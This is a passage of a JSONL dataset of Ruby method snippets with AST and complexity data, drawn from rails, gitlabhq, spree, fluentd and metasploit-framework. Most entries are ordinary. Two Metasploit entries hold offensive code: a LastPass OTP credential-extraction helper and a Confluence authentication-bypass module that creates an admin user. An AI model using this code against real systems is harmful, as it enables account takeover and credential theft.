end","complexity_score":21.2,"ast_json":"{\"type\":\"def\",\"children\":[\"wiki_page\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"wiki_page_title\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"version\"]},\"project\"]},\"wiki\"]},\"nil?\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]}]},null]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"helpers\"]},\"link_to_if_authorized\",{\"type\":\"send\",\"children\":[null,\"wiki_page_title\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"controller\"]},{\"type\":\"str\",\"children\":[\"/wiki\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"str\",\"children\":[\"show\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"version\"]},\"project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[null,\"wiki_page_title\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"h\",{\"type\":\"send\",\"children\":[null,\"wiki_page_title\"]}]}]}]}]}","id":"ed48d7c1-5de4-4ad0-8be3-58d5bf32ad69"} {"repo_name":"liquid","file_path":"./repos/liquid/example/server/liquid_servlet.rb","start_line":14,"raw_source":"def handle(_type, req, res)\n @request = req\n @response = res\n\n @request.path_info =~ /(\\w+)\\z/\n @action = Regexp.last_match(1) || 'index'\n @assigns = send(@action) if respond_to?(@action)\n\n @response['Content-Type'] = \"text/html\"\n @response.status = 200\n @response.body = Liquid::Template.parse(read_template).render(@assigns, filters: [ProductsFilter])\n end","complexity_score":19.68,"ast_json":"{\"type\":\"def\",\"children\":[\"handle\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_type\"]},{\"type\":\"arg\",\"children\":[\"req\"]},{\"type\":\"arg\",\"children\":[\"res\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@request\",{\"type\":\"lvar\",\"children\":[\"req\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@response\",{\"type\":\"lvar\",\"children\":[\"res\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@request\"]},\"path_info\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"(\\\\w+)\\\\z\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@action\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"last_match\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"str\",\"children\":[\"index\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"respond_to?\",{\"type\":\"ivar\",\"children\":[\"@action\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@assigns\",{\"type\":\"send\",\"children\":[null,\"send\",{\"type\":\"ivar\",\"children\":[\"@action\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"Content-Type\"]},{\"type\":\"str\",\"children\":[\"text/html\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"status=\",{\"type\":\"int\",\"children\":[200]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"body=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Liquid\"]},\"Template\"]},\"parse\",{\"type\":\"send\",\"children\":[null,\"read_template\"]}]},\"render\",{\"type\":\"ivar\",\"children\":[\"@assigns\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"filters\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ProductsFilter\"]}]}]}]}]}]}]}]}","id":"a52409b1-2161-4f52-ac88-091908d22c09"} {"repo_name":"rails","file_path":"./repos/rails/activejob/test/cases/test_helper_test.rb","start_line":705,"raw_source":"def test_assert_enqueued_with_with_no_block_with_global_id_args\n ricardo = Person.new(9)\n HelloJob.perform_later(ricardo)\n assert_enqueued_with(job: HelloJob, args: [ricardo])\n end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"test_assert_enqueued_with_with_no_block_with_global_id_args\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ricardo\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Person\"]},\"new\",{\"type\":\"int\",\"children\":[9]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"HelloJob\"]},\"perform_later\",{\"type\":\"lvar\",\"children\":[\"ricardo\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_enqueued_with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"job\"]},{\"type\":\"const\",\"children\":[null,\"HelloJob\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"args\"]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ricardo\"]}]}]}]}]}]}]}","id":"0e61a86a-63c4-4a13-94fc-c46c68382350"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/multi/gather/lastpass_creds.rb","start_line":579,"raw_source":"def extract_otpbin(browser, username, lp_data)\n if browser.match(/Firefox|IE/)\n if browser == 'Firefox'\n path = lp_data['localstorage_db'] + system_separator + OpenSSL::Digest::SHA256.hexdigest(username) + '_ff.sotp'\n else # IE\n path = lp_data['localstorage_db'] + system_separator + OpenSSL::Digest::SHA256.hexdigest(username) + '.sotp'\n end\n otpbin = read_remote_file(path) if file?(path) # Read file if it exists\n otpbin = windows_unprotect(otpbin) if !otpbin.nil? && otpbin.match(/^AQAAA.+/)\n return otpbin\n else # Chrome, Safari and Opera\n db = SQLite3::Database.new(lp_data['lp_db_loot'])\n result = db.execute(\n 'SELECT type, data FROM LastPassData ' \\\n \"WHERE username_hash = ? AND type = 'otp'\", OpenSSL::Digest::SHA256.hexdigest(username)\n )\n return (result.blank? || result[0][1].blank?) ? nil : [result[0][1]].pack('H*')\n end\n end","complexity_score":62.25,"ast_json":"{\"type\":\"def\",\"children\":[\"extract_otpbin\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"browser\"]},{\"type\":\"arg\",\"children\":[\"username\"]},{\"type\":\"arg\",\"children\":[\"lp_data\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"browser\"]},\"match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Firefox|IE\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"browser\"]},\"==\",{\"type\":\"str\",\"children\":[\"Firefox\"]}]},{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lp_data\"]},\"[]\",{\"type\":\"str\",\"children\":[\"localstorage_db\"]}]},\"+\",{\"type\":\"send\",\"children\":[null,\"system_separator\"]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenSSL\"]},\"Digest\"]},\"SHA256\"]},\"hexdigest\",{\"type\":\"lvar\",\"children\":[\"username\"]}]}]},\"+\",{\"type\":\"str\",\"children\":[\"_ff.sotp\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lp_data\"]},\"[]\",{\"type\":\"str\",\"children\":[\"localstorage_db\"]}]},\"+\",{\"type\":\"send\",\"children\":[null,\"system_separator\"]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenSSL\"]},\"Digest\"]},\"SHA256\"]},\"hexdigest\",{\"type\":\"lvar\",\"children\":[\"username\"]}]}]},\"+\",{\"type\":\"str\",\"children\":[\".sotp\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"file?\",{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"lvasgn\",\"children\":[\"otpbin\",{\"type\":\"send\",\"children\":[null,\"read_remote_file\",{\"type\":\"lvar\",\"children\":[\"path\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"otpbin\"]},\"nil?\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"otpbin\"]},\"match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^AQAAA.+\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"otpbin\",{\"type\":\"send\",\"children\":[null,\"windows_unprotect\",{\"type\":\"lvar\",\"children\":[\"otpbin\"]}]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"otpbin\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"db\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SQLite3\"]},\"Database\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lp_data\"]},\"[]\",{\"type\":\"str\",\"children\":[\"lp_db_loot\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"db\"]},\"execute\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"SELECT type, data FROM LastPassData \"]},{\"type\":\"str\",\"children\":[\"WHERE username_hash = ? AND type = 'otp'\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenSSL\"]},\"Digest\"]},\"SHA256\"]},\"hexdigest\",{\"type\":\"lvar\",\"children\":[\"username\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},\"blank?\"]}]}]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]},\"pack\",{\"type\":\"str\",\"children\":[\"H*\"]}]}]}]}]}]}]}","id":"47caceb1-25f1-4d96-8866-d861d7e9fcbe"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/packages/composer/package_finder.rb","start_line":33,"raw_source":"def packages_class\n if packages_composer_read_from_detached_table?\n ::Packages::Composer::Package\n else\n ::Packages::Composer::Sti::Package\n end\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"packages_class\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"packages_composer_read_from_detached_table?\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Packages\"]},\"Composer\"]},\"Package\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Packages\"]},\"Composer\"]},\"Sti\"]},\"Package\"]}]}]}","id":"4c8ca164-25bd-4d8f-a683-b6c3b9f1721c"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/namespaces/adjourned_deletable.rb","start_line":51,"raw_source":"def deletion_in_progress_or_scheduled_in_hierarchy_chain?\n self_deletion_in_progress? || scheduled_for_deletion_in_hierarchy_chain?\n end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"deletion_in_progress_or_scheduled_in_hierarchy_chain?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"self_deletion_in_progress?\"]},{\"type\":\"send\",\"children\":[null,\"scheduled_for_deletion_in_hierarchy_chain?\"]}]}]}","id":"dd9588b0-f472-47f7-b9f4-f1f5937bbce3"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/concerns/integrations/project_test_data.rb","start_line":77,"raw_source":"def releases_events_data\n release = ReleasesFinder.new(project, current_user, order_by: :created_at, sort: :desc).execute.first\n\n no_data_error(s_('TestHooks|Ensure the project has releases.')) unless release.present?\n\n release.to_hook_data('create')\n end","complexity_score":13.2,"ast_json":"{\"type\":\"def\",\"children\":[\"releases_events_data\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"release\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ReleasesFinder\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"project\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"order_by\"]},{\"type\":\"sym\",\"children\":[\"created_at\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sort\"]},{\"type\":\"sym\",\"children\":[\"desc\"]}]}]}]},\"execute\"]},\"first\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"release\"]},\"present?\"]},null,{\"type\":\"send\",\"children\":[null,\"no_data_error\",{\"type\":\"send\",\"children\":[null,\"s_\",{\"type\":\"str\",\"children\":[\"TestHooks|Ensure the project has releases.\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"release\"]},\"to_hook_data\",{\"type\":\"str\",\"children\":[\"create\"]}]}]}]}","id":"1ca13a0a-e3fa-4466-889d-ac9062be1c84"} {"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/evented_file_update_checker.rb","start_line":115,"raw_source":"def start\n normalize_dirs!\n @dtw, @missing = [*@dtw, *@missing].partition(&:exist?)\n @listener = @dtw.any? ? Listen.to(*@dtw, &method(:changed)) : nil\n @listener&.start\n\n # Wait for the listener to be ready to avoid race conditions\n # Unfortunately this isn't quite enough on macOS because the Darwin backend\n # has an extra private thread we can't wait on.\n @listener&.wait_for_state(:processing_events)\n end","complexity_score":14.9,"ast_json":"{\"type\":\"def\",\"children\":[\"start\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"normalize_dirs!\"]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@dtw\"]},{\"type\":\"ivasgn\",\"children\":[\"@missing\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"splat\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@dtw\"]}]},{\"type\":\"splat\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@missing\"]}]}]},\"partition\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"exist?\"]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@listener\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@dtw\"]},\"any?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Listen\"]},\"to\",{\"type\":\"splat\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@dtw\"]}]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"send\",\"children\":[null,\"method\",{\"type\":\"sym\",\"children\":[\"changed\"]}]}]}]},{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"csend\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@listener\"]},\"start\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@listener\"]},\"wait_for_state\",{\"type\":\"sym\",\"children\":[\"processing_events\"]}]}]}]}","id":"f22681d5-2717-4f78-8583-eb79d3eaad48"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/bulk_imports/users_mapper.rb","start_line":17,"raw_source":"def map\n strong_memoize(:map) do\n map = Hash.new { default_user_id }\n\n cached_source_user_ids.each_pair do |source_id, destination_id|\n map[source_id.to_i] = destination_id.to_i\n end\n\n map\n end\n end","complexity_score":14.6,"ast_json":"{\"type\":\"def\",\"children\":[\"map\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"strong_memoize\",{\"type\":\"sym\",\"children\":[\"map\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"map\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hash\"]},\"new\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"default_user_id\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cached_source_user_ids\"]},\"each_pair\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"source_id\"]},{\"type\":\"arg\",\"children\":[\"destination_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"map\"]},\"[]=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"source_id\"]},\"to_i\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"destination_id\"]},\"to_i\"]}]}]},{\"type\":\"lvar\",\"children\":[\"map\"]}]}]}]}","id":"5f2c851b-6e51-4a4e-aa98-cb32622918ef"} {"repo_name":"spree","file_path":"./repos/spree/admin/app/controllers/spree/admin/products_controller.rb","start_line":222,"raw_source":"def update_status\n return if @new_status == @product.status\n return if cannot?(:activate, @product) && @new_status&.to_sym == :active\n\n event_to_fire = @product.status_transitions.find { |transition| transition.from == @product.status && transition.to == @new_status }&.event\n @product.status_event = event_to_fire if event_to_fire\n end","complexity_score":26.4,"ast_json":"{\"type\":\"def\",\"children\":[\"update_status\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@new_status\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@product\"]},\"status\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cannot?\",{\"type\":\"sym\",\"children\":[\"activate\"]},{\"type\":\"ivar\",\"children\":[\"@product\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@new_status\"]},\"to_sym\"]},\"==\",{\"type\":\"sym\",\"children\":[\"active\"]}]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"event_to_fire\",{\"type\":\"csend\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@product\"]},\"status_transitions\"]},\"find\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"transition\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"transition\"]},\"from\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@product\"]},\"status\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"transition\"]},\"to\"]},\"==\",{\"type\":\"ivar\",\"children\":[\"@new_status\"]}]}]}]},\"event\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event_to_fire\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@product\"]},\"status_event=\",{\"type\":\"lvar\",\"children\":[\"event_to_fire\"]}]},null]}]}]}","id":"3bd6a297-732c-492e-884f-960a7fcf9552"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/kerberos/crypto/des_cbc_md5.rb","start_line":119,"raw_source":"def decrypt_asn1(ciphertext, key, msg_type)\n result = decrypt(ciphertext, key, msg_type)\n padding_removed = truncate_nulls_after_asn1(result)\n end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"decrypt_asn1\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ciphertext\"]},{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"msg_type\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[null,\"decrypt\",{\"type\":\"lvar\",\"children\":[\"ciphertext\"]},{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"lvar\",\"children\":[\"msg_type\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"padding_removed\",{\"type\":\"send\",\"children\":[null,\"truncate_nulls_after_asn1\",{\"type\":\"lvar\",\"children\":[\"result\"]}]}]}]}]}","id":"e74376b2-82e8-4c22-a3d3-1080c5160137"} {"repo_name":"fluentd","file_path":"./repos/fluentd/test/plugin/test_parser_regexp.rb","start_line":240,"raw_source":"def test_parse_without_time_estimate_current_event_false\n text = \"tagomori_satoshi tagomoris 34\\n\"\n conf = {\n 'expression' => %q!/^(?<name>[^ ]*) (?<user>[^ ]*) (?<age>\\d*)$/!,\n 'types' => 'name:string,user:string,age:integer'\n }\n d = create_driver(conf)\n d.instance.estimate_current_event = false\n d.instance.parse(text) { |time, record|\n assert_equal \"tagomori_satoshi\", record[\"name\"]\n assert_equal \"tagomoris\", record[\"user\"]\n assert_equal 34, record[\"age\"]\n\n assert_nil time, \"parser returns nil if configured so\"\n }\n end","complexity_score":18.55,"ast_json":"{\"type\":\"def\",\"children\":[\"test_parse_without_time_estimate_current_event_false\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"text\",{\"type\":\"str\",\"children\":[\"tagomori_satoshi tagomoris 34\\n\"]}]},{\"type\":\"lvasgn\",\"children\":[\"conf\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"expression\"]},{\"type\":\"str\",\"children\":[\"/^(?<name>[^ ]*) (?<user>[^ ]*) (?<age>\\\\d*)$/\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"types\"]},{\"type\":\"str\",\"children\":[\"name:string,user:string,age:integer\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"d\",{\"type\":\"send\",\"children\":[null,\"create_driver\",{\"type\":\"lvar\",\"children\":[\"conf\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"d\"]},\"instance\"]},\"estimate_current_event=\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"d\"]},\"instance\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"text\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"time\"]},{\"type\":\"arg\",\"children\":[\"record\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"tagomori_satoshi\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"[]\",{\"type\":\"str\",\"children\":[\"name\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"tagomoris\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"[]\",{\"type\":\"str\",\"children\":[\"user\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[34]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"[]\",{\"type\":\"str\",\"children\":[\"age\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"lvar\",\"children\":[\"time\"]},{\"type\":\"str\",\"children\":[\"parser returns nil if configured so\"]}]}]}]}]}]}","id":"ca94c9a5-68ce-44d2-bfdc-1e394e130489"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/admin/http/atlassian_confluence_auth_bypass.rb","start_line":75,"raw_source":"def run\n res = send_request_cgi(\n 'method' => 'GET',\n 'uri' => normalize_uri(target_uri.path, '/server-info.action'),\n 'vars_get' => {\n 'bootstrapStatusProvider.applicationConfig.setupComplete' => 'false'\n }\n )\n\n return fail_with(Msf::Exploit::Failure::UnexpectedReply, 'Version vulnerable but setup is already completed') unless res&.code == 302 || res&.code == 200\n\n print_good('Found server-info.action! Trying to ignore setup.')\n\n created_user = create_admin_user\n\n res = send_request_cgi(\n 'method' => 'POST',\n 'uri' => normalize_uri(target_uri.path, 'setup/finishsetup.action'),\n 'headers' => {\n 'X-Atlassian-Token' => 'no-check'\n }\n )\n\n return fail_with(Msf::Exploit::Failure::NoAccess, 'The admin user could not be created. Try a different username.') unless created_user\n\n print_warning('Admin user was created but setup could not be completed.') unless res&.code == 200\n\n create_credential({\n workspace_id: myworkspace_id,\n origin_type: :service,\n module_fullname: fullname,\n username: datastore['NEW_USERNAME'],\n private_type: :password,\n private_data: datastore['NEW_PASSWORD'],\n service_name: 'Atlassian Confluence',\n address: datastore['RHOST'],\n port: datastore['RPORT'],\n protocol: 'tcp',\n status: Metasploit::Model::Login::Status::UNTRIED\n })\n\n print_good(\"Admin user was created successfully. Credentials: #{datastore['NEW_USERNAME']} - #{datastore['NEW_PASSWORD']}\")\n print_good(\"Now you can login as administrator from: http://#{datastore['RHOSTS']}:#{datastore['RPORT']}#{datastore['TARGETURI']}login.action\")\n end","complexity_score":59.45,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"/server-info.action\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_get\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"bootstrapStatusProvider.applicationConfig.setupComplete\"]},{\"type\":\"str\",\"children\":[\"false\"]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[302]}]},{\"type\":\"send\"